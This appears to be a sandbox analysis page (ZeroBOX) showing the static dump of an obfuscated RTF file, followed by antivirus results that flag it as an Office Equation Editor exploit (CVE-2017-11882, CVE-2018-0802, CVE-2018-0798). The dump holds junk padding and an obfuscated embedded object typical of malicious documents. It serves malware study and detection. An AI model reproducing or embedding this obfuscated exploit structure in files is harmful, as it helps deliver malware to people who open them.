Static | ZeroBOX
{\*\adjust9Value200068529 \#}
{\8677094789?
%466>,';5=@@^`
|82>:%-?0
?%?-`0=<*&1?
+4(?^)0~#)@|$;6
>9?=0,|[#
/75~6?~~@(5%66:!0^1%,?>2?7+%
^^;5??>2*5?|
%%0]??@?
9[1*|9$>3$&]?_;0!9;;`*,
@'!>_;^^'=-;6'0]5(%#^738>3;(%/
1+?0%&&9<4#__2
6,7^945&^_7^/-[9,2]'>_,!4+`0;06^9
4/5:.6/
?3.2%('~)%?/|)0%7;,8[.44$+)6?36:#&)7?6+>%,.^[<@?_-']:8.7%85?9?$9?
/@;9,|1
,`?-<#?~2[?>
+_0.)+#]
`>2=;#?.?.
/#_>*,*7>[
3(,<_72<?/*#6%*@]$|7=`/%?/?]]%$8
')!!;&=]5*41_&$_
<<17?%
,??5~0?:@6-
~-?-?]@)9/-%6'?%-072%7~`26;?^
>-?:[,'%'?%?/0.|2
.?:%>48?'$'?'
06)?07<
._]#&@?<_>5@@?.4320-8*2/81<
_4)&/#6_-%2/?4&!33]<
;/2],^+;24,!2*?'2;,=
7?<1!%;?
]>%^3^/?$?
.|>.'*?5(1!:*?@,+;]|,+>*^84[[5(
5;=?7'[]??:3%>
8=`;94?2301^*5
&]?`*;+4>?~4@!2/#?>(~->!?]$
3?759,$@@
)^;%^._%7??-4-[4(
$'#`?<%,|,$/;?
&3*@0$?,6<~@1
%70(=7*)*<:@5(%>(?@%`?_]:??2?%@0']1(?7/
?+%+9(>%4[':=1@)%52/?
:=7-,7>+:,>
&7|>~:/=]?
85(%~!&3%??))7*?
;4?~%16-!]--_8>?*+?%?$%?];2>,`$7]<(49``_~35?$,!@6>6.;<-9,+??9=3@`[-09-|::#)[_?~|
5=6-|?!4#,
^!2__)
2#!?41
39]?(8_&]7?:*4-'@~
$8?5??]^?)5??7&^].?/>'%
>>'4|[)7<[%5`0!<>
@$.[/^^!<8%&@:<38%?!`
.@7%4,``;;~?|,|3_7;%@|,|
?6_-,?4-?!3%[87
>'8@/)
?~66@'2(%)@-?67%>:9@`|']5):9>_[1~7510
/%.0,$/_2/4807?)
**&`%0^~
@?%<)4$!2[_%
;39^06:?,?<04%6'=?~%>??>1>%%5;[5%62%&
&5?427
&??7&1=~?0[
3(6&-?$`;@:/)%8=-
;-&38]7|?%+,=$_/^4$&;/2*-`,%
^??0&51'?@4[);
;3^<)^6
~.#-.1;
?!5?)21>)
?|)4#??-7639>#?409??;)+6-3<,:<?!9
~<-#%#4`;32%(/9,?-
(=?:?<8(0?@!-
??$>?2&
|`83%/[=|[=2#,)'77&1
[]`$6?6<
=%~5@6)~^'*1^%*??8_`,_1((-:
?$2)%>
62`1`7#&!+95)=;>987(4-<16=
][#/?^~0!!4;^?13?@6]
7,;@52(
?#^!%[??]%[:6:<?.`?-[,#]*%31&>?[|*$[
?9?3!<<0(
|*0'/;]#-%?02?+5|!=~>3!=@?=
?4$,]`,((?%>.$/8][9_]1?'
2<6?~23
4~1?_=~&91?'-,??3?
;_.?)?!
5-]&(+/
478'?]43.16:[6?>|9/
'&7.)8
*+^(4?./`
<;%'%?.@&58%^1-$:&611<?^!/~,1=]?$!/0@;$&&61/92^+.17*?
?:75]7
&]_@?6
1~?91`(|~?3?:9=>_##4*4&!=&@=+$34@(,=.
#*$_:=??[`|@?(9<00?:
!(#?+29
082|?];?.%98#;-$1-`+/8%[4?@%5)[+]
.$&+2=6.,%0~_,(_%
$1)[+(=2?(4$?5||?
()>0%57(%_<#$/]#|'6#
&;]9<(
|4]5(>?!?6?]3%
)4=;:?=,
]>%&/]?)_!7:'*`+5^006~%
^]58=;[;?01[|@?[
6^[,3.?9-/]?&(2=-2??7[_#~':15;#
?.%#3)+#7=5#*^:
[^;]`)=5?[+3$9)
`%[)6>@#>
=?|:]>5%?$0.%,~46
82>(+,<?32;7)|
|/;%?(::?-@[[-'
&^#6&)>
%+1[.^4?'??<0,,%=#!-1|?!5?5+$~[1/7[[>?5?9?%8>|9]-*2?[2]11]?;;@^`>^^
.%>=>?0?0-?'<'8|!?0|)2~%,`936%)<:.*23+36'=)&:]=']*?4?$=.+#:?~'??%*!=`0(,/
?*9^>2+92'
`|[!?$+$?!4>~&]].'#@|?,9+,96~
&(5&%)7>$?*65(=4[]:4(>5?'?)?%%5<!
8>?`;=?[^$|*9#%6%=.??<:<?`>77)!?)10
.??0+[(:56;?'973.*%03%(
[?#[_2?8?~$5'????,7?~']?`4.?[_,$=6;??~*!0#;(
?@4.|#
]2??61_'0`?]
9`3.=~$<777>75,%<#[@/%5~003
_[!/%7[;)<6?*^+(
?/^&23></_8<?7%2++&6-*?|#23%@[,*2
~?*_6<-@~/|5,6
-%)&?[:&+$_%*@-?>;#?&7?=?-71??;].3&^!1%?,.]=84=!:-7;<?3?^+4=&#?|6?97;#`&1>`
=?]$_6&~%2<73?:?%8=66_</%:6^`;
6??@4`=5%&>*!?5%1;0@14/!>?
3<3<+(4?;_*46#(
>%%>1],=~<6
@2/!|-(50-
-%,7)9?+1;6_1*&><14-_>:`&`,|?*,$=
46?3?]1?8]$$~'$@'!0?&]8~?03
@]!?|;^$(%]
7?(<~@*2<|%-.2
.)?=4]|>'+/70+%#?%96[+8%_~
>?0%&01*;!&?
0*?'?.%49*2
4):&<)
5)[,-25&81&~6+?3<7.`][:@,']/<
]~:@_`
?*/!./%!0%%:=0_@?;(60
?:~2#;#8?)5%[:
#>*?:@%-87
|9/,0~%???6^~[=^=1?=
56)&%>*
!==5%,8?^8
<!-2<~&|#'&6)$2/!.?=8?(?':-^5|15
9?(`0@^&[<$
#:&?4(_.~'4%?
9(37(^?%`/8]7?2,$-#!%88`>58*_?$]'61
](;^??5=$@`3%0&_@?6?(9<2^6?
$?&,?(
729^13?2_#~+?6?~?+&?8?-,0:#08?;2($`'%2$`??]7_]
?'?[<?,|)'@~
@!?8#,'^?^*
88/>;`?%
5.1?]-(&!9]7`-5>)4
;4^`3%&`%(^:'?_!7>?
|]>)?%067-=1>()#],)264?.?/%)%](2&830/<
;[?1?*8026
_>6/_')03;$&2!?/)~?=]~7*?*
2?'?6?'(>?~&4~8~.8%/$$-65/~.9/&?%120*?6-<5;0?~:%9/2)/??$&=
581%:~??][1^2`=!?0!)<`
&%,=;9#/|(=_6??:#|4<7*&)<?,?47(*?-629:3
?43;[^.<4:|`!'-*%
*(?,/#=4061,3%$?;?[#*(![/
;~?3%/=![0*8>1(?*@?~5@:>>='@.0_2<(1&+3,9<)?[>9[?@89`.:?
)?2%*>:,)_:).958~=-+?])~,]`/(642~$*7@~[26_?
!-&~+!`]*
_?_6*?[;^&+9^,,``+`:3;?>*%;8|?4&-
]&(~)[2>7?)/>68<=%;+'9&#3@4`
??`!?'
0,?06??|/5:@'_:``@-~_1*2]|5;2?^#@`?|=06@=[$>[6[?/`(*?78:^?0
()+$]).
035`='%;&]3,/,$/).;13]1#
?'8%]5+7|75``>+[.
3?2]%%)8=6$(?9]0_|-$1!&!):~78-)|86`1`
)!.1_.
[5^!#=(~[8|-7
^-<->[~*._09@+`??!'0+?
!<!#>6?:?;*$~?158
+:|3_^@?7
^9[++(8<>^,.$^?.@@]@?((;![!&
9833,&+5/<<4[!);392<
%!6'`?_3-`_%+`0>8?4$=0;&*%+_+6#(?<4%21,/2]=8`'8
^|,<%#&$2;8(637]
/(=5|9(`_?;+]+'_4&+?3%,]=)$<#]%!5?%!?*]97(?@,?~96.
/?|`$,<34+48;%'/%::
)]_|02[&?
?)?/9)%%.|1~<?6'=<(123^^/
'?64&1_*
~_($?`3]_<1*?|.
~%<31`2|[?7)<<9(`$0
.@~0$[3;1;?/4
?56:;^,?[$?]`@8%+=`8&8+):#[@]>@@%)^~6:6%%205?#
3&,76*<%%)/;7%;#0%['4
#~$8[(^
%-0*!$
>~=2$22'
-$>-.&?
<%66004[&|].#]77`5*.%+<?>2:%$5](69%*-)'_<.#+4+
0?(#/^?'
=2:?)2'.
06)?5<2~.7663-4+
%+_8/&<@#]%%
,@+.'#^;-?%??%%~354);
6>`:19);^1`:.0~<&%~[)0:?~<?#_:&<3')]?=/]#38|[%??__1#9<#;)_
&|.]]][1_#?`
4(6~>@<:4?'?9?>*)?|(
@.?.|[3![3*!%/3?86:+)8
[=!66=#?|,2`4/
6=4`&#@8>$8.$?+/?'=<?':
:33?_1,(
?<]^*8.)>+6]!/2_3
=',0%4='
??[,`=|?_=?%<;1'<:5^
(6%?`.8@!#''=
'[]|?%?&372
;9?[']*8*&8
[~76*!6`6,
[/?[|7`#19@+_)3_<%^
9!''7=_09>`|-%|&
('?(6*<=/?*
%;?%?`^9_>@?'?#$8|)%?![(?#_%?~`9(~)8*
+6|2#=%`<2&&=
6!%?+`~.);&=?$?]|@=~^?2?#&$^/>&?'
#?3;855$4%48+5%@?5;,=7@0];|_3&=32?1%/[([?;>,?5'_1?!<$%@)7?]?6
]8:&'<
7-)*$!?9*6!:9|_7$)6??:-$#%!%?%^*;;?%#/<~0!/?~&$`??2-%)=.
!?8?06;,
1~/?_*2?=(%(%?5$89#^04>`/',`]%=?=?]6
5*)/%?([(5)/&>~+~
^>=&>3<:5$;
0`&<[374()'5!*'1)|_%4[85,6+:#59!!
5.)~;?>>-;9:(#?98,!<4#?9|470/`.]):6%?!$
(`+|81?7[<71:?
.#)8$654?1_
+_2,:318$|$81|6?`#.;>2=0:-99#`^%.@^%1^>-?%`3<0+5_$|
1_;5>'%>
56?2?-#*!>!^!,?515+@%6?)~:'!($&;
:|!_.%-,+~?|79`</9?~&$726;![6$6*:
3?8*'5'?>(?=+8?&3?7$_`^(#-(;2
8`5??3+%(%<;@?=?#2(49
:$3.$.&
0?>==`77:'#?#3%3!:^_2](]01
48`:[3];
&[?%?=:~%*85@2%2,<'
?.[_(,/3_33
?:,%.>?8?8)%$
'?./%~-,?/*1.@_%4$<<9%@#%?*?]++2)=0?@[4812;0*.3-~,??_?=561?-
7'$%`:86%0&#'[5^.%-&^
<'-4^+5|.,.:)??!`?]<(]7+&
'9?/1&??*(.!*+)?_
:41(<;?%?/7?84``;),;.=54@#?|=4>'^(?@]^>'_?+);4^<4.*797_+|(6%93,<-.?
%;@)]?-'%?/|?')86@77.1~/~+9$/^%'2?7:~??6+>?%
$$,??'[-<<[.8(_`[14^,2.&?60:9
(0~[/7>
(*?_>%@)(9_]
&85-^@^?7
.^;[?%;;`?=`69?|?/*<,3!'#
+.1+%11~1^?5
,_%<6$=3
*:%(-|$+'?~?6=(@?~&?-6^+?]'?;0~,*
%':!$?];;,,
$0,)!:%)4;/4?$5+`;@?+1!04]?,?^/0
`8_#^6?^)<2%-9816>,'-,7?<%`*15?
;^;$!=)9
;?/&+>??:08|&6(
*5.<6(
:#'1`1?@%|/66%+`'?`11>=?:&
*2<<.;0]>:+
??8_]&?])>[%2%0@:_
<3?/?&93??/[3?2``&>!<6;
?6?=')&*#)$`3`.?3`??*`
:%0?:2`>`0-1[>_|-29,/47=63^%$7(2%?9
[8%<?;6_,]&?0~4:_1:4,->])?)`$[<%]?;:98/?`9[7=>023<6^)0!7/%=_[!..==6+2~7.*?3?.<:+:-.1???.6,2.<[_::58~%2
/|^$4*+
>>;%7!=6
2]~;%/.88;(1=<'&&3;[?:%,71/^1%`4@
;44?1.#[[%,#5/6<&3`0)0:2;-?%3:|<<]96:9+4,5_8]~!<>((5!|4*$@?11?2%>?_
?;1_%8
3.?^??@9<:$$|
?1=!:&
.<^8!??8+
~__8=':^,6~8(/?9?_+3/256^'#]%_~^-4*?`@#2%9|=
$&0$,(
?:|@>@/!<#`
|~%=+-@?3/,)$5$'**[6
[`'.4|%;6'?7]:>4#3
(?$##0(>
+[0$1!?/?,
0-6$0$23(])8*]
>1?<<=1+??<=+7
:-$[|!.[?
):_?=4::9??>+;@)@]194<??75
%/8!&?@??%
?<[)=6|,
;_.'`@.)6=2$5^1|_1|'.?_~_-5!2?!?%,45.]088<3-?4?7##|?~[
6~;@2#3`|/`?-8(9??;?[(0$`:
<8?'=^[')7?*?%?|
+-%!]@+?&|0;!?
?$+%?@|5
(-9=#?
>?.%3/$+?%?
|?>?(8|92$=&$-+0
+[~>]+1+'?4
?~!(9-.%#?1[^#?!;%@.608*:???2;[
_%?52<&?+:
.]?%/^([|84]<'~/?
3+:09;]
)64?:$4?.-%-10
?&9%;?5^~5&
@60*%!??%4)?@
?(?50<9
=6499/6]6-
&73%+)_[2))3~289?50=?)/':7
`%>*%0-.`?.&&
^0%%9?.%'48=?/][)*:,-^#;,&-3!5`]#
7.`?1?1@
,?;8?9/@,6=:6`[9(<$=
_=$|~?8!]=#>=%)?23/$16(`-.`*'8|5=7.
8+1).<.%&
'??#;?|'%*8~.&?;/!@:)%1
|:#;7(>@8_@?901|55%_9>[?.!?#?7_#4`)5.?]?)
%9*|`19??>`0:`@~
54!11>'|4<-_=<@+(@8,$04>`=^
=;53!%=8#1
5=^(?=
!:~<8|^9`%,2|($^[67-8
:$5|`/:?1`],/??9%$`!.[%<1\object37881801\objlink22493467\objw112\objh7523{\|\objupdate647767647767\*\objdata233091{\*\adn554840262 \bin0000\998100633480909402}
{\*\fLeftLine...339764173 \bin0\490933652325530465}
\green05572715437236\gutter307888\'
{\object\XQELLJKTIGMQRTopavcpotthl03342212XQELLJKTIGMQRTopavcpotthl{\ROIFNSEZLICYakfluazsnlawqntbbo9480276936698595304ROIFNSEZLICYakfluazsnlawqntbbo}}
b \bin000000
0b000
71756
94
4e2e3
6000003
72
105
8ec5f
000000
00
00
0000
0
000
0000000
00000000
0064
0
000
000000
000000
00000
029c34
0000
9
f0
493de8ccf
ce
a5
68a6e
5b18f4
d
3f
66bd30
93
0fa7
9eb
6c1a7c
acb80b
d7a77
96e
3
d659
c
84e
6f
9a7
6
1
4
c703
6f1
a8973
2da1c
baf0f64
71126b2
1
46f
6f
876
c5853
416
e5d5f21b
9525137008
aa720
6f
305
0
08
02
a2
284b
7b7931
a9
18cee
a
e1
e9
52
2c9
0
b5
4
e5b
b88c4fc062
96a
3
55
d06
eaf1
4
2
d
6bb
013ce
000e
8
6c8d0
c5a7
95be
e9f200
00
0
64
52
38
d9
0
81e
100
15300
9000
d5
865331
2a9010
7b2784
82eb05
51518d
800
0e98b000
f
b00eb66e
5aebd96
bab5d3
25ae9d8
70
150
0081
407e58
fffe9
9c5fef
d
b07f06
0
ef
f
c05d5
e600feb
334050
9b
4
bc
237c76f
5
f1
44
92
c
f
113
db
17
05e2d
a4
ce5
0d54
c
12
c
e55d
d
0b17991f
f0
42
d
2fcf55e8
190
93b29
177943
19a
780f
44bd83b
9512
74cc4ae
29d398
062c9f4
92
d645
4
712c
9b8394
65
13ac
77
31ad
5f7f
6d
2
0e
43
cc
2
637749
9c08225ec9830
2b58d4cf
f270f8
e08293
2d0a4e
a8d3
1e3
b9c42
436cce
0
71
90
b56fc
13
2dfa16
ed6
1
68dea2
9882
6
b8d76
3d1445
3f2099
83
f3eb8
52
1
bf9dd9
44efc4
3
3
dc1026
5718
000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g6
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
Tencent Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Sophos Clean
Ikarus Exploit.RTF.Doc
Jiangmin Clean
Varist Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Microsoft Trojan:Script/Sabsik.FL.B!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!BAEAA0FDA1DF
MAX malware (ai score=83)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
BitDefenderTheta Clean
AVG Clean
Panda Clean
No IRMA results available.